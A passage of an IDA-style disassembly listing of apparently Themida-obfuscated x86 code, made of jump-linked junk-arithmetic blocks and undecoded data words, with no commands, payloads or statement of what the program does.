		dd 89560000h, 4C681E6h,	81000000h, 4C6h, 24348700h, 0E289525Ch
		dd 4C281h, 0BB530000h, 4, 1C8BDA29h, 0E2895224h, 4C281h
		dd 0C2810000h, 4, 5C241487h, 0FF66A3E9h, 405FFh, 0E8830000h
		dd 74FF5004h, 8F580424h, 248B2404h, 24248924h, 4240481h
		dd 0FF000000h, 835A2434h, 0BD5504C4h, 4, 39FAE9h, 4EC8300h
		dd 89243489h, 4C681E6h,	81000000h, 4C6h, 24348700h, 4136685Ch
		dd 29E90000h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5688AF:				; CODE XREF: Themida_:00564A03j
		sub	ebp, 0B0F8FC91h
		jmp	loc_55E4B8
; ---------------------------------------------------------------------------


loc_5688BA:				; CODE XREF: Themida_:00563B10j
		sub	ecx, 35261EE4h
		sub	ecx, 6E1843FAh
		and	ebx, ecx
		pop	ecx
		push	ecx
		jmp	loc_56B53F
; ---------------------------------------------------------------------------
		db 89h
		dd 147AE9E7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5688D6:				; CODE XREF: Themida_:00570C31j
		mov	eax, [esp]
		push	ebx
		jmp	loc_55F568
; ---------------------------------------------------------------------------
		db 56h
		dd 5AE9E689h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5688E7:				; CODE XREF: Themida_:0056040Aj
		add	eax, edi
		pop	edi
		pop	ebx
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_55E5D1
; ---------------------------------------------------------------------------
		dw 535Ch
		dd 0DD68B0BBh, 94E903h,	4050000h, 83000000h, 48704E8h
		dd 56E95C24h, 8B000010h, 0C481240Ch, 4,	348B5456h, 4C48124h
		dd 81000000h, 4C6h, 543BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568932:				; CODE XREF: Themida_:0055D7CDj
		push	esi
		mov	esi, 52725B4Bh
		sub	esi, 9F38B5DEh
		sub	ebp, esi
		pop	esi
		sub	eax, 6D203611h
		sub	eax, ebp
		add	eax, 6D203611h
		pop	ebp
		jmp	loc_5612B6
; ---------------------------------------------------------------------------


loc_568953:				; CODE XREF: Themida_:0056E371j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, 75E87AD8h
		push	ecx
		mov	ecx, 78C77018h
		sub	ecx, 1
		jmp	loc_565193
; ---------------------------------------------------------------------------


loc_568980:				; CODE XREF: Themida_:00570BCDj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_561500
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0A063E924h, 0D801FFFFh, 0BF05E95Bh, 685EFFFFh, 320h
		dd 0E9240C89h, 57EAh
; ---------------------------------------------------------------------------


loc_5689AC:				; CODE XREF: Themida_:0057095Cj
		add	edi, 52464E40h
		add	edi, 290E2464h
		sub	edi, edx
		jmp	loc_570733
; ---------------------------------------------------------------------------
		db 52h
		dd 9300E1BAh, 5AD50104h, 0FFAFE3E9h, 243C89FFh,	0BF5BB7BFh
		dd 65DAE943h, 0E9810000h, 5C970EDBh, 3767EA81h,	0A6E966D2h
		dd 81000039h, 40057C2h,	0C2815B5Fh, 0BF972E2h, 7950EA81h
		dd 0C20176BBh, 7950C281h, 0EA8176BBh, 0BF972E2h, 3EEEA81h
		dd 875816F7h, 248B2414h, 9CC83B24h, 0FF3AABE9h,	2FEB81FFh
		dd 0E901D22Fh, 5D2Eh, 9D1C77FFh, 24041158h, 3A92E99Ch
		dd 0D129FFFFh, 0FFCE015Ah, 83592434h, 0ABE904C4h, 56FFFF59h
		dd 591E9h, 2D31BF00h, 0F7815E08h, 1D68793Dh, 0FF8FC4E9h
		dd 24148BFFh, 54DCE9h, 54C38100h, 686C6638h, 7B5Fh, 0BD242C89h
		dd 1632C28h, 90E9DDF7h,	33FFFF93h, 815C2434h, 83042444h
		dd 1102341h, 0E904244Ch, 0FFFFB2ECh
; ---------------------------------------------------------------------------


loc_568A98:				; CODE XREF: Themida_:0055C9AEj
		push	ecx
		mov	ecx, 427913F3h
		sub	[esp+4], ecx
		pop	ecx
		pop	ecx
		add	ecx, 427913F3h
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_571145
; ---------------------------------------------------------------------------


loc_568AC5:				; CODE XREF: Themida_:0056E2D4j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ecx, ebx
		jmp	loc_56B09D
; ---------------------------------------------------------------------------
aHfb		db '[h■B',0
		align 4
		dd 0BE243489h, 58122304h, 47FCE9h, 41ADBE00h, 0F6812448h
		dd 33601461h, 1D27E681h, 0E6817B55h, 379D51C4h,	3836EE81h
		dd 0EE812DE1h, 0C898766Dh, 815EF389h, 274F3CEBh, 0EBC14367h
		dd 4E3C108h, 0E9FCEB81h, 0E981E058h, 45182BA4h,	64E9D901h
		dd 50FFFFC0h, 7F243481h, 5D3F267Ch, 7C7FF581h, 13E93F26h
		dd 68FFFF6Dh, 169h, 0BF243C89h,	185F1678h, 36BCEF81h, 0DFE91D60h
		dd 56000008h, 211420BEh, 30F68134h, 811CE303h, 103911C6h
		dd 0C6814E57h, 20620773h, 2242E681h, 0F68145B8h, 0CECE3B68h
		dd 315EF729h, 243C8BFEh, 4C481h, 0F6810000h, 1AF2F40h
		dd 0FFA2A8E9h, 240C87FFh, 0CEFDE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568BA2:				; CODE XREF: Themida_:0055C699j
		pop	eax
		push	edx
		jmp	loc_5625F3
; ---------------------------------------------------------------------------
		db 0D1h, 0EFh, 81h
		dd 0CE4037CFh, 11F7817Ah, 1328C2Fh, 0DA77E9F8h,	34FFFFFFh
		dd 0C4815924h, 4, 324648Ah, 3245488h, 24148B66h, 2C481h
		dd 0E9510000h, 0FFFFDE1Eh
; ---------------------------------------------------------------------------


loc_568BE0:				; CODE XREF: Themida_:0056211Fj
		add	esp, 4
		add	ebx, 36A3B4E0h
		add	ebp, ebx
		jmp	loc_5659AF
; ---------------------------------------------------------------------------


loc_568BF3:				; CODE XREF: Themida_:00562BE6j
		push	esp
		pop	edi
		jmp	loc_56DE6B
; ---------------------------------------------------------------------------
		dw 0CF30h
		dd 80D7F659h, 0F82819C7h, 4F8005Bh, 4B12CFAh, 3033E9B2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568C12:				; CODE XREF: Themida_:005648B0j
		or	edi, 52595145h
		sub	edi, 0F3FFD3FBh
		add	ebp, edi
		pop	edi
		push	ecx
		mov	ecx, 4
		jmp	loc_56F841
; ---------------------------------------------------------------------------
		dd 24148B59h, 4C481h, 53660000h, 1BB45052h, 0F6E9C6B2h
		dd 5EFFFF79h, 0E92434FFh, 0FFFF58CBh
; ---------------------------------------------------------------------------


loc_568C4C:				; CODE XREF: Themida_:0057084Fj
		add	esp, 4
		jmp	loc_5706D8
; ---------------------------------------------------------------------------
		db 66h
		dd 9C2424D3h, 0FF386BE9h, 241C31FFh, 5C241C33h,	61B2E9h
		dd 24048900h, 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch
		dd 0BF572424h, 4, 1BC1E9h, 7B78BD00h, 0CD8159E4h, 16C673Bh
		dd 0FF97B1E9h, 89C281FFh, 8903A3B1h, 0FBE95AD3h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568CAF:				; CODE XREF: Themida_:0056C316j
		pop	edx
		push	esi
		mov	esi, 65E509ECh
		neg	esi
		dec	esi
		xor	esi, 30220678h
		inc	esi
		not	esi
		inc	esi
		add	esi, 0CAE32BF5h
		add	ecx, 3B4672CDh
		sub	ecx, esi
		sub	ecx, 3B4672CDh
		pop	esi
		shl	ecx, 5
		dec	ecx
		and	ecx, 22AC2483h
		push	eax
		jmp	loc_561130
; ---------------------------------------------------------------------------


loc_568CE8:				; CODE XREF: Themida_:0056D6F8j
		add	edx, 7E4078CEh
		xor	edx, 6B4B8ACAh
		jmp	loc_570715
; ---------------------------------------------------------------------------


loc_568CF9:				; CODE XREF: Themida_:0055F563j
		sub	ebp, eax
		pop	eax
		mov	eax, ebp
		pop	ebp
		and	ecx, eax
		mov	eax, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	eax
		mov	eax, 18B753B0h
		shl	eax, 8
		shl	eax, 7
		dec	eax
		add	eax, 62D42857h
		sub	eax, 6E2C25C2h
		xor	eax, 9E800290h
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		shr	ecx, 0
		or	eax, eax
		jz	loc_561197
		push	ebp
		mov	ebp, esp
		jmp	loc_570B70
; ---------------------------------------------------------------------------
		db 8Fh
		dd 4812404h, 424h, 2434FF00h, 4C48159h,	81000000h, 4C1h
		dd 477E6800h, 34890000h, 1277BE24h, 0D6F75C74h,	220CC681h
		dd 3FE9274Dh, 83000007h, 1C8704C3h, 52515C24h, 0DB241368h
		dd 3B64E90Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_568D8A:				; CODE XREF: Themida_:0056C267j
		sub	edx, 6EDC0FD5h
		jmp	loc_56FC89
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 3Eh
		dd 31748C4Ch, 0F2295AD6h, 5E2434FFh, 4C481h, 555F0000h
		dd 78413EBDh, 5DEF293Bh, 0C781D729h, 3B78413Eh,	0FF4A04E9h
		dd 50FE01FFh, 9B15E8B8h, 8B64E906h, 0CE81FFFFh,	34645928h
		dd 53E3F681h, 5BE96AF0h, 5C00006Bh, 51241C89h, 0EB88AAB5h
		dd 0FFB63CE9h, 58C501FFh, 5C242C87h, 767C68h, 24148900h
		dd 1768E289h, 8900007Ch, 1FB9240Ch, 497A1424h, 0BB53D9F7h
		dd 20E8530Ch, 815BD901h, 2BD116C1h, 5EEA8159h, 14A4A02h
		dd 5EC281CAh, 0E94A4A02h, 599Dh, 5CE9E289h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568E37:				; CODE XREF: Themida_:005690F5j
		mov	[esp], ebp
		push	60F8h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		push	493B5BBFh
		jmp	loc_566EF7
; ---------------------------------------------------------------------------


loc_568E55:				; CODE XREF: Themida_:0055D503j
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_564BB3
; ---------------------------------------------------------------------------


loc_568E65:				; CODE XREF: Themida_:00560FE2j
		add	ebp, 4
		push	edi
		push	76EFh
		mov	[esp], ecx
		mov	ecx, 79FD692Fh
		jmp	loc_564532
; ---------------------------------------------------------------------------
		dw 0F031h
		dd 0FF2434FFh, 6BE92434h, 28000046h, 59EB80CBh,	283AE9h
		dd 246C0100h, 8B5D5D08h, 0C483241Ch, 36A2E904h,	5C2D0000h
		dd 10A0E02h, 1EE951C8h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568EB3:				; CODE XREF: Themida_:00564EE3j
		sub	eax, 4C975EA5h
		jmp	loc_56152E
; ---------------------------------------------------------------------------
		db 28h,	0C2h, 58h
		dd 77E9D028h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_568EC7:				; CODE XREF: Themida_:0056CA21j
		push	ecx
		push	4ADAh
		jmp	loc_564CFA
; ---------------------------------------------------------------------------
		dw 431h
		dd 24043324h, 6624248Bh, 6824048Bh, 6292h, 68241489h, 594Bh
		dd 54243C89h, 4C7815Fh,	81000000h, 4EFh, 243C8700h, 0FFD380E9h
		dd 4C181FFh, 87000000h,	0FF5C240Ch, 815F2434h, 4C4h, 8BDA0100h
		dd 0C481241Ch, 4, 0FFBBD0E9h, 0E9F301FFh, 45E2h, 8104E9C1h
		dd 9C0AD5F1h, 59CA012Ah, 80E9D121h, 8100002Bh, 4EFh, 243C8700h
		dd 776EE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_568F52:				; CODE XREF: Themida_:0056A797j
		dec	esi
		add	esi, 20A66790h
		add	esi, 0A153AA86h
		add	ebp, esi
		jmp	loc_56A69E
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4C181h, 0E9830000h, 0AD21E904h, 8146FFFFh, 374C40F6h
		dd 5EF30131h, 212DBE56h, 24E92C0Eh, 81FFFF89h, 0BD56E6F3h
		dd 6CC3817Ch, 2D260239h, 8813F39h, 3905D829h, 8B08813Fh
		dd 0EBE9241Ch, 1000022h, 0ED8358C5h, 0E3895304h, 5FE2E9h
		dd 0B8E18000h, 0E97AE980h, 0FFFFF2ECh, 5E2434FFh, 4E2AE953h
		dd 0CF81FFFFh, 7EB76C92h, 6CF2EF81h, 0FD89FEF7h, 991E95Fh
		dd 74FF0000h, 0E95E0424h, 361Dh, 4D33C181h, 272DD026h
		dd 11F6474h, 742705C8h,	29591F64h, 895258C6h, 8BD189F2h
		dd 0C4812414h, 4, 0FFF5AFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569015:				; CODE XREF: Themida_:0056B9BDj
		push	2903h
		mov	[esp], edi
		jmp	loc_55FBF0
; ---------------------------------------------------------------------------
		dw 0C5BFh
		dd 0E969C875h, 0FFFF4E66h, 8B2434FFh, 0D5E9240Ch, 87000059h
		dd 7CE9243Ch, 81000062h, 6A13DCEEh, 6EC68165h, 29300A69h
		dd 6EEE81EEh, 81300A69h, 6A13DCC6h, 34335D65h, 24343124h
		dd 5C243433h, 0E9241489h, 0FFFF3460h
; ---------------------------------------------------------------------------


loc_56906C:				; CODE XREF: Themida_:00568032j
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_56709E
; ---------------------------------------------------------------------------
		db 0BAh, 30h, 77h
		dd 0D2F73052h, 0FA67EA81h, 0EA8137BEh, 25097453h, 24EAC281h
		dd 0CEE9127Dh
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56909B:				; CODE XREF: Themida_:00562340j
		push	eax
		mov	eax, esp
		push	edx
		mov	edx, 32B91287h
		sub	edx, 32B91283h
		add	eax, edx
		pop	edx
		sub	eax, 4
		jmp	loc_563B1C
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 4
		dd 50000000h, 0CE50D4B8h, 427FE972h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5690C6:				; CODE XREF: Themida_:005700BAj
		xchg	esi, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_565B48
; ---------------------------------------------------------------------------
		dd 0BF57h, 0DF290000h, 0D6E9FB87h
		db 69h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5690E7:				; CODE XREF: Themida_:005667AAj
		xor	eax, esi
		pop	esi
		push	2CEAh
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_568E37
; ---------------------------------------------------------------------------
		dw 0C580h
		dd 4BED801Ch, 0E959EB00h, 0FFFF3847h
; ---------------------------------------------------------------------------


loc_569108:				; CODE XREF: Themida_:0056D7D3j
		pop	ebx
		add	esp, 4
		push	1D4Dh
		mov	[esp], ebx
		push	5611h
		mov	[esp], edi
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 38h
		add	ecx, edx
		jmp	loc_56CA89
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 24248B24h, 8904EC83h, 0E389241Ch, 0A3A4E952h, 0EABDFFFFh
		dd 14D5821h, 242C8BE9h,	4C481h,	348B0000h, 4C48124h, 81000000h
		dd 2C1h, 240C3300h, 33240C31h, 248B240Ch, 4016624h, 51E99C24h
		db 33h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56917B:				; CODE XREF: Themida_:00570D92j
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_569F8A
; ---------------------------------------------------------------------------
		dd 4EC81h, 3C890000h, 4BF24h, 0FE010000h, 2434875Fh, 241C335Ch
		dd 33241C31h, 248B241Ch, 2CD36624h, 1DE99C24h
		db 33h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5691AF:				; CODE XREF: Themida_:00571067j
		pop	esi
		push	esi
		mov	esi, 4
		sub	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 2EFC6AFCh
		not	edx
		sub	edx, 0FFFFFFFFh
		xchg	ebx, edx
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_562F7F
; ---------------------------------------------------------------------------
		db 59h
		dd 55241C8Bh, 0FFB25BE9h, 247C29FFh, 243C8B0Ch,	5A04C483h
		dd 24048158h, 1C49407Bh, 0FFEB50E9h, 4EF83FFh, 5C243C87h
		dd 0E9240C89h, 0FFFF58EEh, 196849B0h, 8900003Ch, 0C588240Ch
		dd 0C8BEF88h, 4EC8124h,	0E9000000h, 38A7h, 4E981h, 80E90000h
		db 67h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569233:				; CODE XREF: Themida_:00568011j
		add	esi, 1
		jmp	loc_55DBF6
; ---------------------------------------------------------------------------


loc_56923B:				; CODE XREF: Themida_:0056C00Cj
		xor	ebp, 59417A76h
		add	edi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_560F36
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF3268h, 0E904E883h, 2D57h, 9C241CF6h, 0FF3257E9h
		dd 0B5F381FFh, 81678C16h, 204AEEBh, 59CB816Ah, 81523E0Dh
		dd 843EA1C3h, 8EBC12Ch,	5734BE56h, 0C6817421h, 38CF420Bh
		dd 0FF92EDE9h, 0A8BB53FFh, 2948993Bh, 0C5815BDDh, 135A631Eh
		dd 2CB7BE56h, 0F529232Bh, 0FFF986E9h, 8DE951FFh, 33FFFFDCh
		dd 14312414h, 24143324h, 8924248Bh, 2B82404h, 1000000h
		dd 2434FFC5h, 5224048Bh, 0FFEFBEE9h, 2E5868FFh,	14890000h
		dd 81E28924h, 4C2h, 4EA8300h, 3D77E9h, 68446800h, 14890000h
		dd 53A9E924h, 0CEFEFFFFh, 30C4C680h, 2434FFCEh,	0CE17E959h
		dd 0DE01FFFFh, 2A3CE9h
		db 0
; ---------------------------------------------------------------------------


loc_569321:				; CODE XREF: Themida_:0055CE38j
		xor	ecx, [esp]
		xor	[esp], ecx
		not	ecx
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		push	dword ptr [esp]
		jmp	loc_56E238
; ---------------------------------------------------------------------------
		dw 0FF59h
		dd 1C8B2434h, 4C48124h,	0E9000000h, 1E06h
; ---------------------------------------------------------------------------


loc_56934C:				; CODE XREF: Themida_:0055CED9j
		mov	ecx, [esp]
		jmp	loc_5601F2
; ---------------------------------------------------------------------------
		dd 0EE65ED81h, 13E9B966h, 89FFFF67h, 0A7C4E9E6h, 0E954FFFFh
		dd 207Bh
; ---------------------------------------------------------------------------


loc_56936C:				; CODE XREF: Themida_:0055E0D0j
		pop	eax
		add	eax, 4
		jmp	loc_56BCCF
; ---------------------------------------------------------------------------
		db 5Ah
		dd 35E9DD00h, 0FFFF34h,	0FF6859CCh, 0E900006Ch,	5066h
; ---------------------------------------------------------------------------


loc_56938C:				; CODE XREF: Themida_:00560478j
		mov	esi, esp
		push	edx
		mov	edx, 4
		jmp	loc_55DE16
; ---------------------------------------------------------------------------
		dd offset dword_4B5248+5620h
		align 2
		dw 34E9h
		dd 0BEFFFFE3h, 34B61217h, 0E907EEC1h, 4CF9h, 8904EC83h
		dd 2CB5240Ch, 59EC88h, 0C83058E1h, 81240C8Bh, 4C4h, 0CDEB8000h
		dd 0FF45E2E9h, 5E1EBBFFh, 0EB811FE4h, 0B23A562Bh, 815BDA09h
		dd 9C17BCE2h, 4E00E934h, 685F0000h, 246Ah, 0BB241C89h
		dd 3373373Ch, 0FF7B2EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5693FD:				; CODE XREF: Themida_:0056B098j
		or	esi, eax
		pop	eax
		push	ebx
		push	0C200D642h
		pop	ebx
		add	esi, 556A1725h
		add	esi, ebx
		sub	esi, 556A1725h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_56C097
; ---------------------------------------------------------------------------


loc_569421:				; CODE XREF: Themida_:005601ACj
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 25BD43AAh
		push	edi
		jmp	loc_56D6A9
; ---------------------------------------------------------------------------
		dd 475BC4BDh, 0F585E907h, 0F781FFFFh, 0AEC9D571h, 18378F2Dh
		dd 5F8011Ch, 1C18378Fh,	83243C8Bh, 0AAE904C4h, 0B8000058h
		dd 4, 0A42E9h
		db 0
; ---------------------------------------------------------------------------


loc_569461:				; CODE XREF: Themida_:005612B8j
		add	eax, 48B25692h
		push	ebx
		mov	ebx, 4E3F03D5h
		xor	ebx, 3B164947h
		sub	eax, ebx
		jmp	loc_5707DF
; ---------------------------------------------------------------------------
		db 68h,	0B7h, 31h
		dd 4890000h, 2B824h, 0C1010000h, 0FFECDFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56948D:				; CODE XREF: Themida_:005627D5j
		xor	ecx, edx
		pop	edx
		jmp	loc_55D511
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 4B9h, 92EBE900h, 0E581FFFFh,	68186892h, 21E9DDF7h, 88000005h
		dd 0D091E9EAh, 0C681FFFFh, 1, 5D2AC681h, 0FBE97475h
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5694C7:				; CODE XREF: Themida_:0055F54Ej
		not	esi
		sub	esi, 0AF53F475h
		or	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		and	ebp, 58566092h
		jmp	loc_568404
; ---------------------------------------------------------------------------
		dw 0F721h
		dd 0A6E94F5Eh, 0BAFFFFFEh, 0DE94C4Bh, 0EC814242h, 4, 699BE9h
		dd 4C78100h, 0E9000000h, 0FFFF320Fh
; ---------------------------------------------------------------------------


loc_569510:				; CODE XREF: Themida_:00568167j
		mov	eax, 2FC36AABh
		xor	eax, 480D5FB1h
		shl	eax, 7
		and	eax, 5D685D9Bh
		jmp	loc_564C9A
; ---------------------------------------------------------------------------


loc_569527:				; CODE XREF: Themida_:0056BBDBj
		add	edx, 4
		jmp	loc_55DD48
; ---------------------------------------------------------------------------
		dw 0C183h
		dd 240C8704h, 2434875Ch, 0FF4C54E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569541:				; CODE XREF: Themida_:00560B3Fj
		xor	ebx, [esp]
		xor	[esp], ebx
		mov	edi, [esp]
		jmp	loc_566754
; ---------------------------------------------------------------------------
		db 57h
		dd 0FF60B8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569555:				; CODE XREF: Themida_:0056B569j
		mov	[esp], edx
		push	0
		mov	edx, [esp]
		add	esp, 4
		add	edx, eax
		push	ebx
		mov	ebx, 0
		add	ebx, edx
		add	dword ptr [ebx], 1
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_56F582
; ---------------------------------------------------------------------------


loc_569582:				; CODE XREF: Themida_:00564A0Dj
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], ebp
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		sub	eax, 14691391h
		add	eax, ebx
		push	7850h
		mov	[esp], edi
		mov	edi, 43F26A49h
		push	ecx
		mov	ecx, 1C7428F7h
		xor	ecx, 2A6819D2h
		jmp	loc_55E455
; ---------------------------------------------------------------------------
		dd 240C3358h, 33240C31h, 895C240Ch, 74FF242Ch, 8F5D0424h
		dd 0A3E92404h, 87FFFFE2h, 4EC81D7h, 89000000h, 0BE562414h
		dd 5B5735FBh, 95EF289h,	24148BD7h, 8104C483h, 0DC8235F7h
		dd 2C8157D4h, 605A1B24h, 0EC835E2Dh, 243C8904h,	4756A1BFh
		dd 5E7C14Eh, 7512CF81h,	0BB5378FAh, 5F4B3089h, 475BDF31h
		dd 9FA7F781h, 0FE018AD1h, 2434FF5Fh, 55C0E95Fh,	0A6BFFFFFh
		dd 0E966987Fh, 2D31h, 4C481h, 315F0000h, 2434FFE8h, 0E189515Dh
		dd 4C181h, 0A5E90000h, 8900000Eh, 0BA52243Ch, 7E9D4353h
		dd 4948CA81h, 72E93CE5h, 8000002Bh, 0F380FFEBh,	5BDA88FBh
		dd 80D5EA80h, 0F28001F2h, 3199E9EBh, 0B0500000h, 0C01924B6h
		dd 7B2C02E8h, 21BE9h, 0C1DAF700h, 0DAF707E2h, 8102EAC1h
		dd 0FDE44EF2h, 5AD68930h, 4616CE81h, 0E6C15100h, 0FE94606h
		dd 0BDFFFFF7h, 76F92D75h, 0FF96B9E9h, 24248BFFh, 0E959CB89h
		dd 0FFFF8CD6h
; ---------------------------------------------------------------------------


loc_5696D4:				; CODE XREF: Themida_:0055DA51j
		sub	eax, 716F335Eh
		jmp	loc_56FA02
; ---------------------------------------------------------------------------


loc_5696DE:				; CODE XREF: Themida_:0056A2A7j
		dec	ebp
		add	ebp, 102C900Ah
		sub	edx, ebp
		pop	ebp
		push	ebp
		jmp	loc_5697D2
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 148BD129h, 4C48324h, 48AE9h, 2474FF00h, 48F5F04h
		dd 0EDE95C24h
		db 4Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56970F:				; CODE XREF: Themida_:00564DD7j
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		and	ebx, edi
		pop	edi
		or	ebx, ebx
		jnz	loc_56C07C
		push	esi
		push	6E81h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		mov	ebp, 17B14280h
		jmp	loc_56564D
; ---------------------------------------------------------------------------


loc_569741:				; CODE XREF: Themida_:0056E251j
		neg	edi
		not	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4DE7161Eh
		shl	ebx, 2
		shl	ebx, 3
		push	eax
		mov	eax, 5FB34D2Ch
		or	ebx, eax
		pop	eax
		push	edi
		mov	edi, 4697445Fh
		jmp	loc_55CF30
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 206BE9h
		db 0
; ---------------------------------------------------------------------------


loc_569775:				; CODE XREF: Themida_:0055E891j
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_55F155
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C28108E2h, 3BEE22E5h, 0FFCD8DE9h, 48B66FFh,	4EC8124h
		dd 89000000h, 0EC83240Ch, 24248904h, 764AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5697A9:				; CODE XREF: Themida_:00565734j
		xor	ecx, edx
		xor	edx, ecx
		not	ecx
		xchg	ecx, edx
		jmp	loc_570F5C
; ---------------------------------------------------------------------------


loc_5697B6:				; CODE XREF: Themida_:00565448j
		add	esi, 9C6CAD02h
		xor	edx, esi
		pop	esi
		jmp	loc_56BB2A
; ---------------------------------------------------------------------------
		dd 81240C8Bh, 4C4h, 76F6E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5697D2:				; CODE XREF: Themida_:005696E9j
		mov	ebp, 5FAD607Fh
		jmp	loc_560D38
; ---------------------------------------------------------------------------
		dd 5AD5295Bh, 240C8B55h, 0E904C483h, 0FFFF92D4h, 8142DAF7h
		dd 243AF7F2h, 0EEEA8103h, 0E96B205Eh, 640h
; ---------------------------------------------------------------------------


loc_569800:				; CODE XREF: Themida_:0056EE5Fj
		add	esp, 4
		push	ecx
		mov	ecx, 21850770h
		neg	ecx
		sub	ecx, 8DB4D5EDh
		and	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_56A035
; ---------------------------------------------------------------------------
		db 29h
		dd 7FC581F5h, 812B8D08h, 450A8EDh, 0ED815E1Ah, 15C3400Fh
		dd 0FF52A2E9h, 8B5B50FFh, 0C4812404h, 4, 302E33BFh, 68426899h
		dd 34890000h, 3CCC6824h, 815E01BCh, 0A06534F6h,	0CE44E967h
		dd 3C89FFFFh, 50E78924h, 2416DAB8h, 1B40E969h, 2C870000h
		dd 24248B24h, 532CE9h, 0E9D00100h, 0FFFFCD3Ah, 80FCE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569886:				; CODE XREF: Themida_:0056381Aj
		xor	eax, 4703121Fh
		sub	eax, 4B13768Ch
		and	ebp, eax
		push	dword ptr [esp]
		pop	eax
		push	ebp
		jmp	loc_55DA95
; ---------------------------------------------------------------------------
		dd 4C481h, 0DEF70000h, 406CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5698A9:				; CODE XREF: Themida_:0056FFD9j
		neg	eax
		jmp	loc_5707BA
; ---------------------------------------------------------------------------
		dd 0E9243489h, 0FFFFC5E4h, 48BC108h, 4C48124h, 68000000h
		dd 2A15h, 0B0240489h, 2EC83D6h,	240C8966h, 0D9F6C188h
		dd 5966C888h, 0C0FED0F6h, 0C8FE780Ch, 2F04C8FEh, 8058C100h
		dd 0C3805FEBh, 0F595E959h, 3568FFFFh, 5D302456h, 5D23CD81h
		dd 6845557Eh, 52C7h, 0BA241489h, 3FCF6758h, 54E9F287h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_569917:				; CODE XREF: Themida_:00561271j
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
